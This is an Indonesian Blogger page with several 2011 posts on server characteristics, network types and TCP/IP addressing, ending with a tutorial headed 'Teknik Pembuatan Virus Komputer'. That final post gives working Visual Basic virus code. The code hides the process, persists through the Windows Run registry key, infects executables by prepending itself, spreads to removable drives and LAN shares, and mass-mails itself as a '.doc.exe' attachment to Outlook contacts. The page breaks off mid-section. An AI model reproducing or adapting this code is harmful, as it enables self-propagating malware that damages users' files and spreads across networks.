tkj. Diberdayakan oleh Blogger.
  • SLIDER-1-TITLE-HERE

    Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com [...]

  • SLIDER-2-TITLE-HERE

    Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com [...]

  • SLIDER-3-TITLE-HERE

    Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com [...]

  • SLIDER-4-TITLE-HERE

    Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com [...]

Selasa, 08 Februari 2011

Karakteristik server

Posted by Unknown on 6:14 AM



Spesifikasi hardware
Suatu server jaringan biasanya akan hidup terus-menerus selama 24 jam sehari dan tujuh hari seminggu. Oleh karena itu hardware yang digunakan harus cukup kuat untuk tidak beristirahat selama beberapa bulan atau bahkan bertahun-tahun. Pendinginan merupakan salah satu hal pokok yang harus diperhatikan. Biasanya server ditempakan di tempat khusus yang mendapat pengaturan suhu tertentu. Komponen hardware server juga harus dipilih yang mempunyai daya tahan terhadap panas yang baik serta sedikit mengeluarkan panas.


Selain itu komponen-komponen hardware juga harus tahan terhadap gangguan dan perubahan fisik. Untuk komponen memory misalnya, biasa digunakan jenis ECC (Error Checking and Corection) yang mampu mengoreksi satu kesalahan data dan mendeteksi lebih dari satu kesalahan. Untuk server-server besar, yang mana downtime (server tidak aktif) sebentar saja dapat menimblkan kerugian besar, biasanya memiliki fasilitas harddisk hot swapping serta PCI hotplug. Maksud kedua fasilitas ini, pada waktu komputer menyala dan sistem operasi sedang aktif dimungkinkan pemasangan dan pemindahan harddisk (harddisk hot swap) dan pemasangan card-card PCI (PCI hot plug) sehingga tidak perlu mematikan dan merestart komputer.
Untuk menjaga data dalam harddisk, biasanya juga digunakan sistem RAID (Redundant Array of Inexpensive Disk) dari level 0 sampai level 5. Pada level 1 (disk duplexing dan disk mirroring) data pada suatu partisi harddisk disalin ke sebuah partisi di harddisk yang lain sehingga bila salah satu rusak, masih tersedia salinannya di partisi mirror. Beda keduanya, pada disk duplexing kedua harddisk berada pada controller yang berbeda. RAID level 0 dan 5 adalah disk stripping namun pada level 5 terdapat error control yang kemampuannya sama dengan ECC. Pada disk stripping, data dipecah ke 3 sampai 32 harddisk (satu harddisk, satu partisi). Seperti halnya pada ECC, bila satu partisi gagal, data data dibangun kembali. Bila lebih dari satu yang gagal, maka data hilang. Dengan menggunakan RAID, selain meningkatkan daya tahan terhadap kerusakan, juga meningkatkan kecepatan, karena operasi data dapat dipecah ke beberapa harddisk. Implementasi RAID, selain secara hardware (dengan RAID controller) juga dapt dilakukan secara software, misalnya pada Microsoft Windows NT 4.0.

Suplai listrik juga harus diperhatikan agar server dan komponen jaringan seperti konsentrator tetap menyala walaupun listrik padam. UPS (Uninterruptible Power Supply) adalah alat yang baik untuk dipasang karena memiliki baterai penyimpan arus listrik yang dapat digunakan bila sumber arus utama mati. Kapasitas UPS bermacam-macam dari 200 watt untuk workstaion sampai beberapa kilowatt untuk melindungi beberapa server besar. Beberapa UPS dapat berkomunikasi secara software dengan komputer sehingga dapat diset untuk men-shutdown komputer jika terjadi gangguan listrik.
Saat ini mulai tumbuh tren baru dalam penyimpanan data di jaringan, yaitu SAN (Storage Area Network). Dalam SAN, file-file, termasuk file-file sistem operasi, ditempatkan di hardware khusus penyimpan harddisk dan tape drive yang dapat diakses oleh beberapa komputer sekaligus. Tipe hardware yang biasa digunakan adalah Fibre Channel yang memiliki transfer data sampai 100 MBps dan kabel datanya (serat optik maupun kawat tembaga) dapat mencapai 1 kilometer sehingga harddisk tidak perlu dipasang dalam kotak casing server. SAN sangat membantu meningkatkan efisiensi jaringan dan menambah kehandalan karena penyimpan data dapat terhindar dari gangguan-gangguan, misalnya kebakaran di ruang server.

Karakteristik software

Sistem operasi jaringan, khususnya yang digunakan sebagai server, harus memiliki kestabilan yang tinggi. Windows 98 contohnya hanya mampu bertahan selama 50 hari hidup terus-menerus. Oleh karena itu sistem operasi untuk server memiliki desain khusus untuk menambah kestabilannya.

Suatu server biasanya tidak hanya melakukan satu pekerjaan, sehingga sistem operasinya harus multitasking (dapat melakukan beberpa pekerjaaan sekaligus), khususnya preemptive multitasking bukan cooperative multitasking. Pada preemptive multitasking, suatu proses, misalnya P1, diberi hak untuk mengakses sumber daya fisik komputer selama waktu tertentu dan jika sampai waktu habis proses itu belum selesai, ia akan dilempar ke deret terbelakang antrian proses (sehingga menjadi P99 misalnya) untuk selanjutnya P2 diberi hak. Dengan cara seperti ini, suatu proses tidak dapat memonopoli sumber daya fisik komputer. Cooperative multitasking digunakan di Windows versi 3 (3.1 dan 3.11) dan MacOS sampai versi 8.
Karena server mungkin diakses oleh beberapa server pada suatu saat, sistem operasi yang digunakan harus bersifat multiuser. Pengertian multiuser dapat dipandang dari segi proses dan tampilan. Dari segi tampilan, sistem operasi dapat menyediakan terminal (console) kepada beberapa user pada suatu saat, misalnya pada aplikasi telnet ke komputer UNIX. Dari segi proses, multiuser berarti sistem operasi dapat menangani proses-proses yang dimiliki oleh user yang berlainan pada saat yang sama, misalnya akses ke file server berbasis Microsoft Windows NT Server.
Sistem operasi untuk server juga harus dapat menangani hardware dengan skala besar, misalnya multiprosesor, memori sampai berukuran gigabyte, partisi harddisk sampai ukuran terabyte, dan penggabungan beberapa komputer menjadi satu sistem (clustering). Dukungan hardware skala besar diperlukan karena jaringan komputer di dunia makin lama makin sibuk sehingga kerja serverpun bertambah berat. Dukungan hardware besar juga membantu daya tahan server. Clustering contohnya, akan membuat sistem tetap bekarja walaupun beberapa server gagal.
Membangun server
Untuk menentukan konfigurasi hardware maupun software suatu server, terlebih dahulu ditentukan apa dan seberapa berat tugas server tersebut. Setiap jenis pekerjaan server membutuhkan spesifikasi hardware dan software yang berbeda. Berikut ini konfigurasi hardware untuk beberapa tugas:

a. Router dan DNS server : Konfigurasi hardware paling ringan dengan ruang kosong harddisk, memori, serta prosesor yang kecepatan dan kapasitas kecil sudah dapat bekerja dengan baik.

b. Database server : tidak membutuhkan harddisk yang cepat karena data-data yang diakses kecil, tetapi membutuhkan memori yang besar jika server tersebut cukup sibuk. Memori digunakan untuk menyimpan data-data agar tidak perlu mengakses harddisk. Prosesor yang diperlukan harus cukup cepat untuk mengolah operasi-operasi database.
c. Proxy server : Proxy server yang sibuk membutuhkan memori dan harddisk yang besar dan cepat agar dapat lebih banyak menyimpan halaman-halaman web dan cepat menstranfernya ke klien.

d. Mail server : Membutuhkan harddisk yang besar uantuk menyimpan mail-mail namun tidak perlu cepat karena ukuran mail biasanya kecil.
e. Web server : Bila ada permintaan terhadap suatu halaman web, web server tidak langsung menstransfer tetapi membaca script halaman tersebut terlebih dahulu untuk menentukan apa yang harus ditransfer dan bagaimana mengirimkannya.

f. Oleh karena itu web server membutuhkan harddisk, memori, dan prosesor yang cepat agar lebih cepat memproses permintaan klien. Prosesor yang cepat diperlukan jika isi web banyak mengandung script/listing program, misalnya script Java, Visual Basic, database. Ukuran harddisk tergantung besarnya web.
g . FTP server : Membutuhkan harddisk yang sangat besar untuk menyimpan file-file.
i. File dan print server : membutuhkan harddisk dan memori yang cepat.
Karena kecepatan network masih jauh lebih lambat daripada kecepatan harddisk, memory, maupun prosesor, memiliki saluran jaringan yang baik dan cepat akan meningkatkan kinerja jaringan. Pemilihan arsitektur, topologi, dan teknologi hardware jaringan, misalnya network adapter, konsentrator, dan kabel sangat menentukan kecepatan jaringan.
Perangkat lunak yang diperlukan, baik sistem operasi dan software pendukung, juga harus disesuaikan dengan kebutuhan. Berikut ini daftar software untuk beberapa tugas:

  1.  Router dan DNS server: Cukup menggunakan sistem operasi UNIX (yang gratis) dengan bantuan software gated dan BIND
  2.  File dan print server : Sampai saat ini sistem operasi Microsoft Windows NT dan Novell Netware adalah yang paling diminati karena cepat dan aman. Salah satu sebabnya adalah tidak digunakannya protokol TCP/IP.
  3.  Proxy server : Tersedia beberapa macam software, misalnya Microsft Proxy Server untuk NT dan SQUID untuk keluarga UNIX.
  4. . Web Server : Microsoft Internet Information Server untuk Window NT dan Apache untuk UNIX dan NT.
  5. . FTP server : Microsoft Internet Information Server untuk Windows NT dan WUFTP untuk keluarga UNIX.
  6. . Database server : Untuk server besar tersedia software SQL server dari Microsoft, Oracle, Sybase, Informix, IBM, dll. Untuk server kecil dapat memakai MySQL dan MiniSQL.
  7.  Mail server : Sendmail merupakan mail server paling terkenal di dunia UNIX. Untuk WINdows NT tersedia Exchange Server yang memiliki fasilitas sangat lengkap. Tersedia juga mail server untuk kapasitas kecil seperti Mdaemon, Qmail, dll.
  8. Yang perlu diperhatikan dalam membangun server adalah tidak membebankan banyak tugas kepada sebuah server atau melakukan distribusi tugas. Selain memudahkan dalam mengkonfigurasi hardware dan software juga memudahkan administrasi karena tugas administrasi dapat dibagi ke beberapa orang administrator sesuai keahlian. Pembagian tugas server juga meningkatkan keamanan, terutama akibat bentroknya konfigurasi antar aplikasi.

JARINGAN WORKGROUP, LAN & WAN

Posted by Unknown on 5:59 AM


Heri Kusnadi
Pelajar SMK AL-HUDA SARIWANGI

Penggabungan teknologi komputer dan komunikasi berpengaruh sekali terhadap bentuk organisasi sistem komputer. Dewasa ini, konsep "pusat komputer", dalam sebuah ruangan yang berisi sebuah komputer besar, tempat dimana semua pengguna mengolah pekerjaannya, merupakan konsep yang sudah ketinggalan jaman. Model komputer tunggal yang melayani seluruh tugas-tugas komputasi suatu organisasi telah diganti oleh sekumpulan komputer berjumlah banyak yang terpisah-pisah tetapi saling berhubungan dalam melaksanakan tugasnya. Sistem seperti ini disebut sebagai Jaringan Komputer (Computer Network)

Apa jaringan komputer itu dan apa manfaatnya?
Jaringan Komputer dapat diartikan sebagai suatu himpunan interkoneksi sejumlah komputer otonom. Dua buah komputer dikatakan membentuk suatu network bila keduanya dapat saling bertukar informasi. Pembatasan istilah otonom disini adalah untuk membedakan dengan sistem master/slave. Bila sebuah komputer dapat membuat komputer lainnya aktif atau tidak aktif dan mengontrolnya, maka komputer komputer tersebut tidak otonom. Sebuah sistem dengan unit pengendali (control unit) dan sejumlah komputer lain yang merupakan slave bukanlah suatu jaringan; komputer besar dengan remote printer dan terminalpun bukanlah suatu jaringan.

Manfaat Jaringan

Secara umum, jaringan mempunyai beberapa manfaat yang lebih dibandingkan dengan komputer yang berdiri sendiri dan dunia usaha telah pula mengakui bahwa akses ke teknologi informasi modern selalu memiliki keunggulan kompetitif dibandingkan pesaing yang terbatas dalam bidang teknologi.
Jaringan memungkinkan manajemen sumber daya lebih efisien. Misalnya, banyak pengguna dapat saling berbagi printer tunggal dengan kualitas tinggi, dibandingkan memakai printer kualitas rendah di masing-masing meja kerja. Selain itu, lisensi perangkat lunak jaringan dapat lebih murah dibandingkan lisensi stand-alone terpisah untuk jumlah pengguna sama.
Jaringan membantu mempertahankan informasi agar tetap andal dan up-to-date. Sistem penyimpanan data terpusat yang dikelola dengan baik memungkinkan banyak pengguna mengaskses data dari berbagai lokasi yang berbeda, dan membatasi akses ke data sewaktu sedang diproses.
Jaringan membantu mempercepat proses berbagi data (data sharing). Transfer data pada jaringan selalu lebih cepat dibandingkan sarana berbagi data lainnya yang bukan jaringan.
Jaringan memungkinkan kelompok-kerja berkomunikasi dengan lebih efisien. Surat dan penyampaian pesan elektronik merupakan substansi sebagian besar sistem jaringan, disamping sistem penjadwalan, pemantauan proyek, konferensi online dan groupware, dimana semuanya membantu team bekerja lebih produktif.
Jaringan membantu usaha dalam melayani klien mereka secara lebih efektif. Akses jarak-jauh ke data terpusat memungkinkan karyawan dapat melayani klien di lapangan dan klien dapat langsung berkomunikasi dengan pemasok.

                                         
Ada tiga tipe jaringan yang umum yang digunakan antara lain :
-          Jaringan WorkGroup,
-          Janringan Lan, dan
-          Jaringan Wan


Jaringan Workgroup
Jaringan ini terdiri dari beberapa unit komputer yang dihubungkan dengan menggunakan Network Interface Card atau yang biasa disebut dengan Local Area Network Card, serta dengan menggunakan kabel BNC maupun UTP. Semua unit komputer yang terhubung dapat mengakses data dari unit komputer lainnya dan juga dapat melakukan print document pada printer yang terhubung dengan unit komputer lainnya.

Keuntungan Jaringan Workgroup.
  • Pertukaran file dapat dilakukan dengan mudah (File Sharing).
  • Pemakaian printer dapat dilakukan oleh semua unit komputer (Printer Sharing).
  • Akses data dari/ke unit komputer lain dapat di batasi dengan tingkat sekuritas pada password yang diberikan.
  • Komunikasi antar karyawan dapat dilakukan dengan menggunakan E-Mail & Chat.
  • Bila salah satu unit komputer terhubung dengan modem, maka semua atau sebagian unit komputer pada jaringan ini dapat mengakses ke jaringan Internet atau mengirimkan fax melalui 1 modem.
Jaringan LAN
LAN (Local Area Network) adalah suatu kumpulan komputer, dimana terdapat beberapa unit komputer (client) dan 1 unit komputer untuk bank data (server). Antara masing-masing client maupun antara client dan server dapat saling bertukar file maupun saling menggunakan printer yang terhubung pada unit-unit komputer yang terhubung pada jaringan LAN.
Berdasarkan kabel yang digunakan ,ada dua cara membuat jaringan LAN, yaitu  dengan kabel BNC dan kabel UTP.
 
Keuntungan Jaringan LAN.
  • Pertukaran file dapat dilakukan dengan mudah (File Sharing).
  • Pemakaian printer dapat dilakukan oleh semua client (Printer Sharing).
  • File-file data dapat disimpan pada server, sehingga data dapat diakses dari semua client menurut otorisasi sekuritas dari semua karyawan, yang dapat dibuat berdasarkan struktur organisasi perusahaan sehingga keamanan data terjamin.
  • File data yang keluar/masuk dari/ke server dapat di kontrol.
  • Proses backup data menjadi lebih mudah dan cepat.
  • Resiko kehilangan data oleh virus komputer menjadi sangat kecil sekali.
  • Komunikasi antar karyawan dapat dilakukan dengan menggunakan E-Mail & Chat.



  • Bila salah satu client/server terhubung dengan modem, maka semua atau sebagian komputer pada jaringan LAN dapat mengakses ke jaringan Internet atau mengirimkan fax melalui 1 modem. 
 
 
Jaringan WAN
WAN (Wide Area Network) adalah kumpulan dari LAN dan/atau Workgroup yang dihubungkan dengan menggunakan alat komunikasi modem dan jaringan Internet, dari/ke kantor pusat dan kantor cabang, maupun antar kantor cabang. Dengan sistem jaringan ini, pertukaran data antar kantor dapat dilakukan dengan cepat serta dengan biaya yang relatif murah. Sistem jaringan ini dapat menggunakan jaringan Internet yang sudah ada, untuk menghubungkan antara kantor pusat dan kantor cabang atau dengan PC Stand Alone/Notebook yang berada di lain kota ataupun negara.
Keuntungan Jaringan WAN.
  • Server kantor pusat dapat berfungsi sebagai bank data dari kantor cabang.
  • Komunikasi antar kantor dapat menggunakan E-Mail & Chat.
  • Dokumen/File yang biasanya dikirimkan melalui fax ataupun paket pos, dapat dikirim melalui E-mail dan Transfer file dari/ke kantor pusat dan kantor cabang dengan biaya yang relatif murah dan dalam jangka waktu yang sangat cepat.
  • Pooling Data dan Updating Data antar kantor dapat dilakukan setiap hari pada waktu yang ditentukan. 

    Senin, 07 Februari 2011

    JARINGAN KOMPUTER

    Posted by Unknown on 10:34 PM


    Jaringan komputer terdiri atas sejumlah host dan konektivitasnya .
    • Host dapat berupa sebuah komputer: PC, mini atau jenis komputer lainnya.
    • Konektivitas dalam jaringan komputer berdasarkan media penghubungnya :
      • wire (kabel)
        • ethernet
        • modem
      • wireless (tanpa kabel) 
        • radio modem
    Pengalamatan jaringan TCP/IP
    • Alamat memiliki bentuk. Ada pola.
      1. nomor telepon: [kode negara]-[area]-[nomor pesawat]
      2. Alamat rumah: [nama jalan] [nomor] [kota]
    • Ada hubungan antara nama dan alamat (siapa, dimana) dan disimpan dalam suatu sistem, buku alamat.
    • Format alamat 32 bit (4 oktet; oktet adalah sistem bilangan 8 biner).
    • Contoh: 1F.A3.4B.27 (Hexadesimal) = 31.163.75.39 (desimal)
    • Minimal: 00.00.00.00
    • Maksimal: 255.255.255.255
    • Kepemilikan alamat IP dicatat oleh Network Information Center (NIC)
    • Alamat TCP/IP terdiri atas bagian NETWORK dan bagian HOST
    • Bagian network mencakup alamat jaringan (biasa disebut sebagai NETWORK) dan netmask.
    • Netmask merupakan penyaring (masker) yang menunjukkan bagian NETWORK dari sebuah alamat.
    Contoh 1:
    Sejumlah komputer terhubung dalam satu jaringan dengan ketentuan sbb:
    • network: 10.2.3.0
    • netmask: 255.255.255.0
    • broadcast: 10.2.3.255
    • host: 10.2.3.1 s/d 10.2.3.254
    Dengan demikian, dalam jaringan tersebut maksimum dapat menampung 254 host.
    Dalam pelatihan ini, tidak dijelaskan secara rinci tentang perhitungan biner dan mask. Peserta dianggap cukup mengerti bahwa "255" berarti keseluruhan oktet digunakan sebagai alamat jaringan. Contoh kedua untuk menyatakan bahwa adanya penjelasan yang lebih tepat apabila peserta telah memahami perhitungan biner.
    Contoh 2:
    Sejumlah komputer terhubung dalam satu jaringan dengan ketentuan sbb:
    • network: 167.205.23.16
    • netmask: 255.255.255.240
    • broadcast: 167.205.23.31
    • host: 167.205.23.17 s/d 167.205.23.30
    Dengan demikian, dalam jaringan tersebut maksimum dapat menampung 14 host.
    Pembagian alamat jenis class berdasarkan oktet pertama, yaitu:
    1. 0 s/d 127 (WAN?)
    2. 128 s/d 181  (MAN?)
    3. 192 s/d 223 (LAN?)
    4. 224 s/d 239 (Multicast)
    5. Experimental/extended : 240 s/d 255
    Alamat khusus
    • Identifikasi jaringan
    • Alamat broadcast
    • Loopback (127.0.0.1): alamat yang menyatakan diri sendiri ("aku").
    • Private Network: alamat-alamat tertentu yang boleh digunakan secara bebas, tetapi tidak ada di internet.
    Contoh:
    Kelas
    A
    B
    C
    D
    E
    Jaringan
    5.0.0.0
    167.205.0.0
    192.168.2.0
    224.0.0.9
    241.23.5.2
    Netmask
    255.0.0.0
    255.255.0.0
    255.255.255.0


    Broadcast
    5.255.255.255
    167.205.255.255
    192.168.2.255
    224.0.0.9

    Pengelompokan kelas tersebut tidak efisien, banyak alamat yang tidak digunakan dan sulit mengendalikan jaringan kelas tinggi. Dalam praktek sebuah jaringan kelas apa pun dibagi lagi ke dalam sub-jaringan yang lebih kecil.
    Utilitas UNIX: ifconfig
    myHost# ifconfig ec0
    ec0: flags=807<UP,BROADCAST,DEBUG,ARP>
    inet 192.168.2.5 netmask fffff00 broadcast 192.168.2.255

    myHost# ifconfig lo0
    lo0: flags=49<LOOPBACK,RUNNING>
    inet 127.0.0.1 netmask ff000000

    myHost# ifconfig -a
    ---tampilkan semua interface dan settingnya
    ec0 dan lo0 adalah kode alat (device) yang menghubungkan komputer ke jaringan.
    Program ifconfig digunakan untuk:
    • mengaktifkan dan mendeaktifkan interface
    • mengaktifkan dan mendeaktifkan ARP pada interface (lihat alamat fisik)
    • mengaktifkan dan mendeaktifkan modus debug atas interface
    • menentukan alamat host, subnet mask, dan metode routing.
    Utilitas MS-Windows: WINIPCFG atau IPCONFIG
    MS-Windows: Start - Run -
    Ketik: winipcfg
    Ditampilkan:

      Teknik Pembuatan Virus Komputer

      Posted by Unknown on 12:57 PM


      Syarat sebuah virus computer :
      1. Menyembunyikan prosesnya dari pemakai
      2. Mengaktifkan dirinya setiap startup sistem
      3. Menyebarkan dirinya melalui media file executable
      4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
      5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
      6. Menyebarkan dirinya dengan filename spoofing.
      7. Mempercepat proses penyebarannya dengan pendekatan social engineering
      8. Berusaha mempertahankan existensi dirinya

      Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

      Menyembunyikan prosesnya dari pemakai


      Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

      App.TaskVisible = False

      Kemudian untuk menyembunyikan form dapat menggunakan :

      Me.Visible = False

      Mengaktifkan dirinya setiap startup sistem


      Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

      FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

      dan menambah ke registry :

      Dim WShell as Object
      Set WShell = CreateObject("WScript.Shell")
      WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
      Set WShell = Nothing

      Menyebarkan dirinya melalui media file executable


      Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

      Program Executable

      Setelah terinfeksi oleh program virus menjadi :

      Program Virus + Program Executable + Ukuran Virus + Signature Virus

      Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

      Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

      Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

      Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

      Private Sub PeriksadanInfeksiExe(fname As String)
      Dim tSignature As String * 5
      Dim OriginalCode As String
      Dim fNum As Integer
      'Jangan menginfeksi diri sendiri
      'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
      If Dir(fname) <> "" Then
         If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
            'Ambil nomor file
            fNum = FreeFile
            Open fname For Binary Access Read As fNum 'Buka file target
            Seek fNum, LOF(fNum) - 5 + 1         'pindah file pointer ke posisi Signature Virus
            tSignature = Space$(5)
            Get fNum, , tSignature                        'baca tSignature
            Close fNum
            If tSignature <> virSignature Then     'jika file virus (tidak ada virSignature)
               On Error GoTo finally
                  Open fname For Binary Access Read Write As fNum 'Buka file target
                  OriginalCode = Space$(LOF(fNum))
                  Get fNum, , OriginalCode            'baca Program Executable
                  Put fNum, 1, virCode                   'tulis Program Virus diawal
                  Put fNum, , OriginalCode            'tulis Program Executable
                  Put fNum, , virSize                      'tulis Ukuran Virus
                  Put fNum, , virSignature             'tulis Signature Virus
                  Close fNum
      finally:
            End If
         End If
      End If
      End Sub

      Ketika program Executable dijalankan maka :

      Private Sub VirusInitial()
      Dim OriginalCode As String
      Dim tSignature As String * 5
      Dim fNum As Integer
      Dim fname As String

      virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

      Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
      Seek #1, LOF(1) - 5 + 1                 'pindah file pointer ke posisi virSize
      tSignature = Space$(5)
      Get #1, , tSignature                        'baca virSignature

      If tSignature <> virSignature Then   'Jika file virus sendiri
         virSize = LOF(1)                            'ukuran virSize sama dengan ukuran file
         virCode = Space$(virSize)             'siapkan buffer virCode
         Seek #1, 1                                       'ke posisi bof
         Get #1, , virCode                            'baca virCode sebesar ukuran virSize
         Close #1
        
         Call VirInstall                                 'instalasi virus
        
         If Not SudahLoad Then
            Load ff                                         'aktifkan timer virus
         End If
        
      'Jika file yang terinfeksi
      Else
         Seek #1, LOF(1) - 9 + 1                 'pindah file pointer ke posisi virSize
         Get #1, , virSize                             'baca virSize (long = 4 byte)
         'Baca vircode
         virCode = Space$(virSize)             
         Seek #1, 1                                       'ke posisi BOF (Awal file)
         Get #1, , virCode                            'baca virCode sebesar ukuran virSize
        
         OriginalCode = Space$(LOF(1) - virSize)            'siapkan buffer
         Get #1, , OriginalCode                                           'baca originalCode
        
         fNum = 0
         Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
            fNum = fNum + 1
         Loop
        
         fname = exePath & App.EXEName & fNum & ".exe"

         On Error GoTo finally
            Open fname For Binary Access Write As #2
            Put #2, , OriginalCode                                      'tulis ke file sementara
            Close #2                                                            'tutup file sementara
      finally:
       
         Close #1
        
         Call VirInstall
        
         If Not SudahLoad Then
            Load ff                                          'aktifkan timer virus
         End If

         Call ExecuteOriginal(fname)
         Kill fname                                        'hapus file sementara
      End If
      End Sub

      Private Sub ExecuteOriginal(fname)
      Dim Host As Long, HProc As Long, HExit As Long
      Host = Shell(fname, vbNormalFocus)                 'jalankan fname
      HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
      GetExitCodeProcess HProc, HExit                     'ambil status aktif
      Do While HExit = STILL_ACTIVE                   'proses ditahan selama proses masih aktif
         DoEvents                                                          'lakukan event yang lain
         GetExitCodeProcess HProc, HExit
      Loop
      End Sub

      Private Function SudahLoad() As Boolean
      Dim vir_hwnd As Long
      'Jika Jendela virus aktif
      vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
      SudahLoad = Not (vir_hwnd = 0)
      End Function

      Mempercepat proses penyebarannya melalui media pertukaran data dan informasi


      Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

      Public Sub InfeksiFloppy()
      On Error GoTo BatalInfeksi
      Dim floppy_hwnd As Long
      Dim fname As String
      'Jika Jendela Floppy terbuka
      floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
      If Not floppy_hwnd = 0 Then
         Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
      End If
      BatalInfeksi:
      End Sub

      Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

      Public Sub InfeksiFlashDisk()
      On Error GoTo BatalInfeksi
      Dim ObjFSO As Object
      Dim ObjDrive As Object
      Set ObjFSO = CreateObject("Scripting.FileSystemObject")
      For Each ObjDrive In ObjFSO.Drives
          'Asumsi semua removable drive diatas huruf C adalah flash disk
          '1 - Removable drive
          '2 - Fixed drive (hard disk)
          '3 - Mapped network drive
          '4 - CD-ROM drive
          '5 - RAM disk
          If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
             Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
          End If
      Next
      BatalInfeksi:
      End Sub

      Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

      Public Sub InfeksiMySharing()
      Dim shares() As String, share As Variant, target As String
      If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
         For Each share In shares
             target = share
             Call InfeksiResource(target, "XLSDOCEXE")
         Next share
      End If
      End Sub

      Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

      Public Sub AmbilDomain()
      Dim Domains() As String, Domain As Variant
      If GetShares("", "Microsoft Windows Network", Domains) = True Then
         For Each Domain In Domains
             If Not stackDomain.isFull Then
                stackDomain.Push (Domain)
             End If
         Next Domain
      End If
      End Sub

      Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

      Public Sub AmbilComputer()
      Dim Computers() As String, Domain As String, Computer As Variant
      If Not stackDomain.isEmpty() Then
         Domain = stackDomain.Pop()
         If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
            For Each Computer In Computers
                If Not stackComputer.isFull Then
                   stackComputer.Push (Computer)
                End If
            Next Computer
         End If
      End If
      End Sub

      Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

      Public Sub AmbilDrive()
      Dim Drives() As String, Computer As String, Drive As Variant
      If Not stackComputer.isEmpty() Then
         Computer = stackComputer.Pop()
         If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
            For Each Drive In Drives
                If Not stackDrive.isFull Then
                   stackDrive.Push (Drive)
                End If
            Next Drive
         End If
      End If
      End Sub

      Public Sub InfeksiNetworkDrive()
      Dim target As String
      If Not stackDrive.isEmpty() Then
         target = stackDrive.Pop()
         Call InfeksiResource(target, "XLSDOCEXE")
      End If
      End Sub
      Melakukan penyebaran melalui fasilitas email :

      Public Sub SpreadEmailOutlook()
      Dim Outlook As Object
      Dim Mapi As Object
      Dim Mail As Object
      Dim AddressBook As Variant
      Dim MailAddress As Variant
      Dim i As Integer, j As Integer

      On Error GoTo finally
      Set Outlook = CreateObject("Outlook.Application")
         Set Mapi = Outlook.GetNamespace("MAPI")
           
         For i = 1 To Mapi.AddressLists.Count
             Set AddressBook = Mapi.AddressLists(i)
             For j = 1 To AddressBook.AddressEntries.Count
                 MailAddress = AddressBook.AddressEntries(j)
             
                 Set Mail = Outlook.CreateItem(0)
        
                 Mail.Recipients.Add (MailAddress)
                 Mail.Subject = "Subject Virus Anda"
                 Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
                 Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
                 Mail.Send
             Next
         Next
       
      finally:
         Set Outlook = Nothing
         Set Mapi = Nothing
      End Sub

      Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system


      Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

      Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

      Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

      Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

      Menyebarkan dirinya dengan filename spoofing.


      Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

      Misalnya :

